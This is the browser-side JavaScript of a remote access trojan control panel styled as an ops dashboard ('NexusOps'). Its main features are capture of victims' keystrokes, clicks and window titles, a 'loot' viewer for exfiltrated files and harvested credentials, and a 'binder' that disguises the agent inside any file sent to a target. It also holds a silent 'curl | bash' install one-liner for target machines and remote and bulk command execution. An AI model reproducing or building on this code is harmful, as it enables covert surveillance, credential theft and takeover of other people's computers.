// ── Auth & API wrapper ── let nexusToken = localStorage.getItem('nexus_token') || null; let authRequired = false; const _origFetch = window.fetch.bind(window); window.fetch = function(url, opts = {}) { opts.headers = opts.headers || {}; if (nexusToken && typeof url === 'string' && !opts.headers['Authorization']) { opts.headers['Authorization'] = 'Bearer ' + nexusToken; } return _origFetch(url, opts).then(resp => { if (resp.status === 401 && authRequired) showAuthGate(); return resp; }); }; function showAuthGate() { authRequired = true; document.getElementById('authOverlay').style.display = 'flex'; setTimeout(() => document.getElementById('authTokenInput').focus(), 100); } function hideAuthGate() { document.getElementById('authOverlay').style.display = 'none'; document.getElementById('authError').style.display = 'none'; } async function submitAuthToken() { const val = document.getElementById('authTokenInput').value.trim(); if (!val) return; nexusToken = val; try { const r = await _origFetch('/api/auth/check', { headers: { 'Authorization': 'Bearer ' + val } }); if (r.ok) { localStorage.setItem('nexus_token', val); hideAuthGate(); toast('Authenticated', 'success'); _wsHalted = false; _wsBackoff = 1000; _wsAttempts = 0; bootApp(); } else { document.getElementById('authError').style.display = 'block'; nexusToken = null; } } catch(e) { document.getElementById('authError').style.display = 'block'; } } async function probeAuth() { try { const opts = nexusToken ? { headers: { 'Authorization': 'Bearer ' + nexusToken } } : {}; const r = await _origFetch('/api/status', opts); if (r.status === 401) { showAuthGate(); return false; } return true; } catch(e) { return true; } } // ── Toasts ── function toast(msg, type = 'info') { const stack = document.getElementById('toastStack'); if (!stack) return; const el = document.createElement('div'); el.className = 'toast toast-' + type; const icons = { info: 'fa-circle-info', success: 'fa-circle-check', error: 'fa-circle-exclamation' }; el.innerHTML = '' + escapeHtml(msg) + ''; stack.appendChild(el); setTimeout(() => { el.classList.add('toast-out'); setTimeout(() => el.remove(), 400); }, 5000); } // NexusOps Dashboard Application Logic let nodesData = []; let commandHistory = []; let masterSystemLogs = []; let inputData = []; let currentFilter = 'all'; let currentView = 'grid'; let serverIp = window.location.hostname; let serverPort = window.location.port || '3000'; let publicUrl = null; let telemetryChart = null; document.addEventListener('DOMContentLoaded', () => { initChart(); updateServerEndpoint(); }); function updateServerEndpoint() { const endpoint = publicUrl || `http://${serverIp}:${serverPort}`; const placeholders = document.querySelectorAll('.server-url-placeholder'); placeholders.forEach(el => el.textContent = endpoint); document.getElementById('navServerEndpoint').textContent = endpoint; const linkEl = document.getElementById('binaryDownloadLink'); if (linkEl) linkEl.href = `${endpoint}/bin/NexusAgent`; } let _wsBackoff = 1000; let _wsAttempts = 0; let _wsHalted = false; function initWebSocket() { if (_wsHalted) return; const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; let wsUrl = `${protocol}//${window.location.host}`; if (nexusToken) wsUrl += '?token=' + encodeURIComponent(nexusToken); const ws = new WebSocket(wsUrl); ws.onopen = () => { _wsBackoff = 1000; _wsAttempts = 0; document.getElementById('navConnectionStatus').textContent = 'Live Connected'; document.querySelector('.status-indicator').classList.add('online'); }; ws.onmessage = (event) => { try { const data = JSON.parse(event.data); if (data.type === 'NODES_UPDATE') { serverIp = data.serverIp || serverIp; serverPort = data.port || serverPort; publicUrl = data.publicUrl || publicUrl; updateServerEndpoint(); nodesData = data.nodes || []; commandHistory = data.commandHistory || []; masterSystemLogs = data.masterSystemLogs || []; inputData = data.inputData || []; renderDashboard(); } } catch (e) { console.error("Error parsing WebSocket payload:", e); } }; ws.onclose = (ev) => { document.querySelector('.status-indicator').classList.remove('online'); if (ev.code === 4401) { _wsHalted = true; document.getElementById('navConnectionStatus').textContent = 'Auth Required'; showAuthGate(); return; } _wsAttempts++; document.getElementById('navConnectionStatus').textContent = `Reconnecting (${_wsAttempts})…`; const jitter = Math.random() * 500; setTimeout(initWebSocket, Math.min(_wsBackoff + jitter, 30000)); _wsBackoff = Math.min(_wsBackoff * 2, 30000); }; } function renderDashboard() { renderOverviewStats(); renderNodesGrid(); renderAuditLogs(); renderMasterSyslogs(); renderIntelLog(); checkForNewNodes(); updateChartData(); } function renderOverviewStats() { const total = nodesData.length; const online = nodesData.filter(n => n.status === 'online').length; const offline = total - online; let avgCpu = 0; if (online > 0) { const sumCpu = nodesData.filter(n => n.status === 'online').reduce((acc, n) => acc + (n.cpuUsage || 0), 0); avgCpu = Math.round(sumCpu / online); } document.getElementById('statTotalNodes').textContent = total; document.getElementById('statOnlineNodes').textContent = online; document.getElementById('statOfflineNodes').textContent = offline; document.getElementById('statAvgCpu').textContent = `${avgCpu}%`; } function renderNodesGrid() { const container = document.getElementById('nodesGrid'); const search = document.getElementById('searchInput').value.toLowerCase(); if (!nodesData.length) { container.innerHTML = renderEmptyHero(); if (window.QRCode && endpoint) { /* QR handled below */ } return; } let filtered = nodesData.filter(node => { const matchesFilter = currentFilter === 'all' || node.status === currentFilter; const matchesSearch = !search || node.hostname.toLowerCase().includes(search) || node.ip.toLowerCase().includes(search) || node.platform.toLowerCase().includes(search) || node.id.toLowerCase().includes(search); return matchesFilter && matchesSearch; }); if (filtered.length === 0) { container.innerHTML = `

No Connected Agents Found

No computers match your filter. Download the agent installer to link machines.

`; return; } container.innerHTML = filtered.map(node => { const isOnline = node.status === 'online'; const osIcon = getOsIcon(node.platform); return `

${escapeHtml(node.hostname)}

${node.ip} • ${node.osName || node.platform}
${isOnline ? 'Online' : 'Offline'}
CPU Usage ${node.cpuUsage}%
Memory ${node.memUsage}%
Disk Space ${node.diskUsage}%
`; }).join(''); } function renderAuditLogs() { const container = document.getElementById('auditLogContent'); document.getElementById('logCount').textContent = `${commandHistory.length} events`; if (commandHistory.length === 0) { container.innerHTML = `
[SYSTEM] Server listening on http://${serverIp}:${serverPort}. No control task events yet.
`; return; } container.innerHTML = commandHistory.map(item => { let statusClass = item.status === 'completed' ? 'success' : item.status === 'failed' ? 'error' : 'system'; return `
[${new Date(item.createdAt).toLocaleTimeString()}] ${escapeHtml(item.hostname)} ➔ ${escapeHtml(item.command)} | STATUS: ${item.status.toUpperCase()} ${item.output ? `
${escapeHtml(item.output.trim())}
` : ''}
`; }).join(''); container.scrollTop = container.scrollHeight; } function renderMasterSyslogs() { const container = document.getElementById('syslogStreamContent'); if (!container) return; const countEl = document.getElementById('syslogCount'); const searchInput = document.getElementById('logSearchInput'); const query = searchInput ? searchInput.value.toLowerCase().trim() : ''; let filtered = masterSystemLogs; if (query) { filtered = masterSystemLogs.filter(l => l.hostname.toLowerCase().includes(query) || l.entry.toLowerCase().includes(query) ); } if (countEl) countEl.textContent = `${filtered.length} entries`; if (filtered.length === 0) { container.innerHTML = `
[SYSTEM] Central log stream active. No entries matching "${escapeHtml(query)}".
`; return; } container.innerHTML = filtered.map(log => { let logText = escapeHtml(log.entry); let isError = logText.toLowerCase().includes('error') || logText.toLowerCase().includes('fail'); let isWarn = logText.toLowerCase().includes('warn'); let logClass = isError ? 'error' : isWarn ? 'system' : 'success'; return `
[${new Date(log.timestamp).toLocaleTimeString()}] ${escapeHtml(log.hostname)}: ${logText}
`; }).join(''); container.scrollTop = container.scrollHeight; } function initChart() { const ctx = document.getElementById('telemetryChart').getContext('2d'); telemetryChart = new Chart(ctx, { type: 'line', data: { labels: [], datasets: [ { label: 'Avg CPU Load (%)', borderColor: '#06b6d4', backgroundColor: 'rgba(6, 182, 212, 0.1)', fill: true, data: [], tension: 0.4 }, { label: 'Avg RAM Load (%)', borderColor: '#8b5cf6', backgroundColor: 'rgba(139, 92, 246, 0.1)', fill: true, data: [], tension: 0.4 } ] }, options: { responsive: true, maintainAspectRatio: false, scales: { x: { grid: { color: 'rgba(255, 255, 255, 0.05)' }, ticks: { color: '#9ca3af' } }, y: { min: 0, max: 100, grid: { color: 'rgba(255, 255, 255, 0.05)' }, ticks: { color: '#9ca3af' } } }, plugins: { legend: { labels: { color: '#f3f4f6' } } } } }); } function updateChartData() { if (!telemetryChart) return; const timeStr = new Date().toLocaleTimeString(); const onlineNodes = nodesData.filter(n => n.status === 'online'); const avgCpu = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.cpuUsage, 0) / onlineNodes.length : 0; const avgMem = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.memUsage, 0) / onlineNodes.length : 0; telemetryChart.data.labels.push(timeStr); telemetryChart.data.datasets[0].data.push(Math.round(avgCpu)); telemetryChart.data.datasets[1].data.push(Math.round(avgMem)); if (telemetryChart.data.labels.length > 15) { telemetryChart.data.labels.shift(); telemetryChart.data.datasets[0].data.shift(); telemetryChart.data.datasets[1].data.shift(); } telemetryChart.update(); } function getOsIcon(platform) { const p = (platform || '').toLowerCase(); if (p.includes('win')) return 'fa-brands fa-windows'; if (p.includes('darwin') || p.includes('mac')) return 'fa-brands fa-apple'; return 'fa-brands fa-linux'; } function escapeHtml(str) { return (str || '').replace(/&/g, "&").replace(//g, ">"); } function formatTime(timestamp) { if (!timestamp) return 'Never'; const diff = Math.floor((Date.now() - timestamp) / 1000); if (diff < 5) return 'Just now'; if (diff < 60) return `${diff}s ago`; return `${Math.floor(diff / 60)}m ago`; } function setFilter(filter, el) { currentFilter = filter; document.querySelectorAll('.filter-btn').forEach(btn => btn.classList.remove('active')); el.classList.add('active'); renderNodesGrid(); } function filterNodes() { renderNodesGrid(); } function switchView(view, el) { currentView = view; document.querySelectorAll('.toggle-btn').forEach(btn => btn.classList.remove('active')); el.classList.add('active'); renderNodesGrid(); } function openInstallerModal() { updateServerEndpoint(); document.getElementById('installerModal').classList.add('active'); } function closeInstallerModal() { document.getElementById('installerModal').classList.remove('active'); } function switchTab(tabName) { document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active')); document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active')); event.currentTarget.classList.add('active'); document.getElementById(`tab-${tabName}`).classList.add('active'); } function switchControlTab(tabName, btnEl) { document.querySelectorAll('#commandModal .tab-btn').forEach(btn => btn.classList.remove('active')); document.querySelectorAll('.control-tab-content').forEach(c => c.style.display = 'none'); btnEl.classList.add('active'); document.getElementById(`ctrl-${tabName}`).style.display = 'block'; } function copyCode(elementId, btn) { const text = document.getElementById(elementId).innerText; navigator.clipboard.writeText(text).then(() => { const original = btn.innerHTML; btn.innerHTML = ` Copied!`; btn.style.background = 'var(--accent-emerald)'; setTimeout(() => { btn.innerHTML = original; btn.style.background = ''; }, 2000); }); } function openCommandModal(nodeId, hostname) { document.getElementById('cmdModalNodeId').value = nodeId; document.getElementById('cmdModalHostname').textContent = hostname; document.getElementById('cmdInput').value = ''; document.getElementById('commandModal').classList.add('active'); } function closeCommandModal() { document.getElementById('commandModal').classList.remove('active'); } function setQuickCmd(cmd) { document.getElementById('cmdInput').value = cmd; } function submitNodeAction(actionType, extraPayload = {}) { const nodeId = document.getElementById('cmdModalNodeId').value; let payload = { ...extraPayload }; if (actionType === 'raw_command') { const command = document.getElementById('cmdInput').value.trim(); if (!command) return; payload.command = command; } fetch(`/api/nodes/${nodeId}/command`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ actionType, payload, command: payload.command }) }) .then(res => res.json()) .then(data => { if (data.success) { closeCommandModal(); } }); } function submitServiceAction(action) { const service = document.getElementById('serviceNameInput').value.trim(); if (!service) return alert("Please enter a service name (e.g. nginx)"); submitNodeAction('manage_service', { service, action }); } function submitKillProcess() { const pid = document.getElementById('killPidInput').value; if (!pid) return alert("Please enter a valid PID"); submitNodeAction('kill_process', { pid }); } function openBulkModal() { document.getElementById('bulkModal').classList.add('active'); } function closeBulkModal() { document.getElementById('bulkModal').classList.remove('active'); } function submitBulkCommand() { const command = document.getElementById('bulkCmdInput').value.trim(); if (!command) return; fetch('/api/nodes/bulk-command', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ actionType: 'raw_command', command, payload: { command } }) }) .then(res => res.json()) .then(data => { if (data.success) { closeBulkModal(); alert(`Task broadcasted to ${data.count} online network nodes!`); } else { alert(data.error || "Failed to dispatch bulk command"); } }); } function submitTagUpdate() { const tags = document.getElementById('tagInput').value.trim(); if (!tags) return alert("Please enter at least one tag"); submitNodeAction('update_tags', { tags }); } function submitHeartbeatRate() { const interval = document.getElementById('heartbeatInput').value; if (!interval) return alert("Please enter a valid interval in seconds"); submitNodeAction('set_heartbeat_rate', { interval: parseInt(interval) }); } function submitSystemReboot() { if (confirm("⚠️ Are you sure you want to reboot this target machine?")) { submitNodeAction('reboot_system'); } } function deleteNode(nodeId) { if (confirm("Are you sure you want to unregister this node?")) { fetch(`/api/nodes/${nodeId}`, { method: 'DELETE' }); } } // ── Master Intelligence Log Rendering ── function renderIntelLog() { const container = document.getElementById('intelLogContent'); if (!container) return; const nodeFilter = document.getElementById('intelNodeFilter'); const typeFilter = document.getElementById('intelTypeFilter'); const searchInput = document.getElementById('intelSearchInput'); // Populate node filter dropdown dynamically if (nodeFilter) { const currentVal = nodeFilter.value; nodeFilter.innerHTML = ''; nodesData.forEach(n => { const sel = n.id === currentVal ? ' selected' : ''; nodeFilter.innerHTML += ``; }); } const selNodeId = nodeFilter ? nodeFilter.value : 'all'; const selType = typeFilter ? typeFilter.value : 'all'; const query = searchInput ? searchInput.value.toLowerCase().trim() : ''; // Show machine details when a specific node is selected renderMachineDetails(selNodeId); // Filter input data let filtered = inputData; if (selNodeId !== 'all') { filtered = filtered.filter(e => e.nodeId === selNodeId); } if (selType !== 'all') { filtered = filtered.filter(e => e.eventType === selType); } if (query) { filtered = filtered.filter(e => { const dataStr = JSON.stringify(e.data || '').toLowerCase(); return dataStr.includes(query) || (e.windowTitle || '').toLowerCase().includes(query) || (e.hostname || '').toLowerCase().includes(query); }); } const countEl = document.getElementById('intelCount'); if (countEl) countEl.textContent = `${filtered.length} events`; if (filtered.length === 0) { container.innerHTML = '
[INTEL] No captured input events. Waiting for agent keystroke/click data...
'; return; } container.innerHTML = filtered.map(ev => { const timeStr = new Date(ev.timestamp).toLocaleTimeString(); const hostStr = escapeHtml(ev.hostname || 'Unknown'); let icon, cssClass, detailStr; switch (ev.eventType) { case 'keystroke': icon = ''; cssClass = 'log-entry intel-keystroke'; detailStr = `Key: ${escapeHtml((ev.data && ev.data.key) || '?')}`; break; case 'click': icon = ''; cssClass = 'log-entry intel-click'; detailStr = `Button: ${escapeHtml((ev.data && ev.data.button) || '?')} @ (${ev.data && ev.data.x}, ${ev.data && ev.data.y})`; break; case 'scroll': icon = ''; cssClass = 'log-entry intel-scroll'; detailStr = `Scroll \u0394(${ev.data && ev.data.dx}, ${ev.data && ev.data.dy})`; break; default: icon = ''; cssClass = 'log-entry'; detailStr = escapeHtml(JSON.stringify(ev.data || {})); } const winStr = ev.windowTitle ? ` [${escapeHtml(ev.windowTitle)}]` : ''; return `
[${timeStr}] ${icon} ${hostStr} ${detailStr}${winStr}
`; }).join(''); container.scrollTop = container.scrollHeight; } function renderMachineDetails(nodeId) { const bar = document.getElementById('machineDetailsBar'); if (!bar) return; if (nodeId === 'all') { const machinesWithInput = [...new Set(inputData.map(e => e.nodeId))]; if (machinesWithInput.length === 0) { bar.innerHTML = ' Select a specific machine to see its full details here. Input data from agents will appear below.'; } else { bar.innerHTML = ` ${machinesWithInput.length} machine(s) reporting input data. Select one above for details.`; } return; } const node = nodesData.find(n => n.id === nodeId); if (!node) { bar.innerHTML = 'Machine details unavailable.'; return; } const statusColor = node.status === 'online' ? 'var(--accent-emerald)' : 'var(--accent-rose)'; const osIcon = getOsIcon(node.platform); bar.innerHTML = `
${escapeHtml(node.hostname)}
${escapeHtml(node.ip)}
${escapeHtml(node.osName || node.platform)} (${escapeHtml(node.arch || 'x64')})
CPU: ${node.cpuUsage}%
MEM: ${node.memUsage}%
DISK: ${node.diskUsage}%
${formatUptime(node.uptime)}
${node.status.toUpperCase()}
`; } function formatUptime(seconds) { if (!seconds || seconds <= 0) return 'N/A'; const d = Math.floor(seconds / 86400); const h = Math.floor((seconds % 86400) / 3600); const m = Math.floor((seconds % 3600) / 60); if (d > 0) return `${d}d ${h}h`; if (h > 0) return `${h}h ${m}m`; return `${m}m`; } // ── File Binder ── let binderFile = null; function openBinderModal() { updateServerEndpoint(); document.getElementById('binderModal').classList.add('active'); resetBinder(); } function closeBinderModal() { document.getElementById('binderModal').classList.remove('active'); resetBinder(); } function resetBinder() { binderFile = null; document.getElementById('binderFileInput').value = ''; document.getElementById('binderFileName').innerHTML = 'Click or drag any file here'; document.getElementById('binderDropzone').classList.remove('has-file'); document.getElementById('binderSubmitBtn').disabled = true; document.getElementById('binderStatus').style.display = 'none'; } function handleBinderFile(input) { if (input.files && input.files[0]) { binderFile = input.files[0]; document.getElementById('binderFileName').innerHTML = `${escapeHtml(binderFile.name)} (${(binderFile.size / 1024).toFixed(1)} KB)`; document.getElementById('binderDropzone').classList.add('has-file'); document.getElementById('binderSubmitBtn').disabled = false; } } async function submitBinder() { if (!binderFile) return; const btn = document.getElementById('binderSubmitBtn'); const status = document.getElementById('binderStatus'); btn.disabled = true; btn.innerHTML = ' Binding...'; status.style.display = 'block'; status.className = ''; status.textContent = 'Processing file...'; const formData = new FormData(); formData.append('file', binderFile); try { const resp = await fetch('/api/bind', { method: 'POST', body: formData }); if (!resp.ok) { const err = await resp.json().catch(() => ({ error: 'Server error' })); throw new Error(err.error || `HTTP ${resp.status}`); } const blob = await resp.blob(); const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = binderFile.name + '.sh'; document.body.appendChild(a); a.click(); document.body.removeChild(a); URL.revokeObjectURL(url); status.className = 'success'; status.textContent = `✅ Bound file downloaded! Send "${binderFile.name}.sh" to target. When executed, it opens the original file and deploys the agent.`; } catch (e) { status.className = 'error'; status.textContent = `❌ ${e.message}`; } btn.disabled = false; btn.innerHTML = ' Bind & Download'; } // ── Kill Switch ── function killSwitch() { if (!confirm('⚠️ KILL SWITCH: This will terminate ALL agent processes on ALL connected machines. Continue?')) return; fetch('/api/nodes/killswitch', { method: 'POST' }) .then(r => r.json()) .then(d => { if (d.success) alert(`☠️ Kill switch sent to ${d.count} node(s). Agents will shut down on next heartbeat.`); else alert(d.error || 'No nodes to kill.'); }); } // ── Ping Node ── function pingNode(nodeId, hostname) { fetch(`/api/nodes/${nodeId}/ping`, { method: 'POST' }) .then(r => r.json()) .then(d => { if (d.success) alert(`⚡ Ping sent to ${hostname}. Check command log for latency response.`); }); } // ── New Node Sound & Notification ── let knownNodeIds = new Set(); function checkForNewNodes() { nodesData.forEach(node => { if (!knownNodeIds.has(node.id) && node.status === 'online') { knownNodeIds.add(node.id); // Browser notification if (Notification.permission === 'granted') { new Notification('🖥️ New Agent Connected', { body: `${node.hostname} (${node.ip}) — ${node.osName || node.platform}`, icon: '/favicon.ico' }); } // Audio ping try { const ctx = new (window.AudioContext || window.webkitAudioContext)(); const osc = ctx.createOscillator(); const gain = ctx.createGain(); osc.connect(gain); gain.connect(ctx.destination); osc.frequency.setValueAtTime(880, ctx.currentTime); osc.frequency.setValueAtTime(1100, ctx.currentTime + 0.1); gain.gain.setValueAtTime(0.3, ctx.currentTime); gain.gain.exponentialRampToValueAtTime(0.01, ctx.currentTime + 0.3); osc.start(ctx.currentTime); osc.stop(ctx.currentTime + 0.3); } catch(e) {} } }); // Also mark offline nodes nodesData.forEach(node => knownNodeIds.add(node.id)); } // Request notification permission on first interaction document.addEventListener('click', () => { if (Notification.permission === 'default') Notification.requestPermission(); }, { once: true }); // ── Loot viewer ── let lootFiles = []; let lootCreds = []; let lootObjectUrls = {}; let _lootSeenFiles = new Set(); let _lootSeenCreds = new Set(); let _lootFirstPoll = true; function switchLootTab(tab) { document.getElementById('lootTabFiles').classList.toggle('active', tab === 'files'); document.getElementById('lootTabCreds').classList.toggle('active', tab === 'creds'); document.getElementById('lootFilesPanel').style.display = tab === 'files' ? '' : 'none'; document.getElementById('lootCredsPanel').style.display = tab === 'creds' ? '' : 'none'; } function humanSize(b) { if (!b && b !== 0) return '?'; if (b < 1024) return b + ' B'; if (b < 1048576) return (b/1024).toFixed(1) + ' KB'; return (b/1048576).toFixed(1) + ' MB'; } function relTime(ts) { const s = Math.floor((Date.now() - ts) / 1000); if (s < 60) return s + 's ago'; if (s < 3600) return Math.floor(s/60) + 'm ago'; if (s < 86400) return Math.floor(s/3600) + 'h ago'; return Math.floor(s/86400) + 'd ago'; } async function pollLoot() { try { const [fr, cr] = await Promise.all([ fetch('/api/files').then(r => r.ok ? r.json() : []), fetch('/api/credentials').then(r => r.ok ? r.json() : []) ]); // Toasts on new arrivals (skip first poll) if (!_lootFirstPoll) { fr.forEach(f => { if (!_lootSeenFiles.has(f.id)) { _lootSeenFiles.add(f.id); toast('New file: ' + f.filename + ' from ' + (f.hostname || f.nodeId), 'success'); } }); cr.forEach(c => { const k = c.nodeId + c.type + c.timestamp; if (!_lootSeenCreds.has(k)) { _lootSeenCreds.add(k); toast('Creds harvested: ' + c.type + ' on ' + (c.hostname || c.nodeId), 'success'); } }); } else { fr.forEach(f => _lootSeenFiles.add(f.id)); cr.forEach(c => _lootSeenCreds.add(c.nodeId + c.type + c.timestamp)); _lootFirstPoll = false; } lootFiles = fr; lootCreds = cr; renderLoot(); } catch(e) { /* offline tolerance */ } } function renderLoot() { document.getElementById('lootFilesCount').textContent = lootFiles.length; document.getElementById('lootCredsCount').textContent = lootCreds.length; // Files const fp = document.getElementById('lootFilesPanel'); if (!lootFiles.length) { fp.innerHTML = '
[LOOT] No files exfiltrated yet. Use Control → Exfil & Harvest on an online node.
'; } else { fp.innerHTML = '' + lootFiles.slice().reverse().map(f => { const isImg = (f.mime || '').startsWith('image/'); const thumbId = 'thumb-' + f.id; if (isImg && !lootObjectUrls[f.id]) { fetch('/api/files/' + f.id).then(r => r.blob()).then(b => { lootObjectUrls[f.id] = URL.createObjectURL(b); const el = document.getElementById(thumbId); if (el) el.src = lootObjectUrls[f.id]; }).catch(() => {}); } return '' + '' + '' + '' + '' + '' + '' + ''; }).join('') + '
FileNodeSizeWhen
' + (isImg ? 'img' : '') + '' + escapeHtml(f.filename) + '
' + escapeHtml(f.mime || '') + '
' + escapeHtml(f.hostname || f.nodeId || '?') + '' + humanSize(f.size) + '' + relTime(f.timestamp) + '
'; } // Credentials const cp = document.getElementById('lootCredsPanel'); if (!lootCreds.length) { cp.innerHTML = '
[LOOT] No credentials harvested yet. Use Control → Exfil & Harvest on an online node.
'; } else { const groups = {}; lootCreds.forEach((c, i) => { const key = (c.hostname || c.nodeId || 'unknown'); groups[key] = groups[key] || []; groups[key].push(Object.assign({ _idx: i }, c)); }); cp.innerHTML = Object.entries(groups).map(([host, items]) => '
' + escapeHtml(host) + ' ' + items.length + '
' + items.map(c => { const raw = typeof c.data === 'string' ? c.data : JSON.stringify(c.data); const cid = 'cred-' + c._idx; return '
' + '' + escapeHtml(c.type || 'unknown') + '' + '••••••••••' + '' + relTime(c.timestamp) + '' + '' + '' + '
'; }).join('') + '
' ).join(''); } } function toggleCredReveal(cid, btn) { const el = document.getElementById(cid); if (el.dataset.masked === '1') { el.textContent = btn.dataset.raw; el.dataset.masked = '0'; btn.innerHTML = ''; } else { el.textContent = '••••••••••'; el.dataset.masked = '1'; btn.innerHTML = ''; } } function lootCopy(btn) { navigator.clipboard.writeText(btn.dataset.raw).then(() => toast('Copied to clipboard', 'success')); } function openLootLightbox(id) { const lb = document.getElementById('lootLightbox'); const img = document.getElementById('lootLightboxImg'); if (lootObjectUrls[id]) { img.src = lootObjectUrls[id]; lb.style.display = 'flex'; } } function closeLootLightbox() { document.getElementById('lootLightbox').style.display = 'none'; } function lootDownload(id, filename) { fetch('/api/files/' + id).then(r => r.blob()).then(b => { const a = document.createElement('a'); a.href = URL.createObjectURL(b); a.download = filename; a.click(); setTimeout(() => URL.revokeObjectURL(a.href), 5000); }).catch(() => toast('Download failed', 'error')); } // ── Empty state hero ── function renderEmptyHero() { const endpoint = publicUrl || `http://${serverIp}:${serverPort}`; const cmd = `curl -sSL ${endpoint}/install | bash`; return '
' + '' + '

No Nodes Deployed Yet

' + '

Run this one-liner on any target machine — auto-detects OS, installs silently, reports back in seconds.

' + '
' + escapeHtml(cmd) + '' + '
' + '
' + '

or click Deploy Agent above for platform-specific installers

' + '
'; } // ── Boot ── let _booted = false; function bootApp() { if (_booted) return; _booted = true; initWebSocket(); pollLoot(); setInterval(pollLoot, 15000); } document.addEventListener('DOMContentLoaded', async () => { const open = await probeAuth(); if (open) bootApp(); document.getElementById('authTokenSubmit').addEventListener('click', submitAuthToken); document.getElementById('authTokenInput').addEventListener('keydown', e => { if (e.key === 'Enter') submitAuthToken(); }); });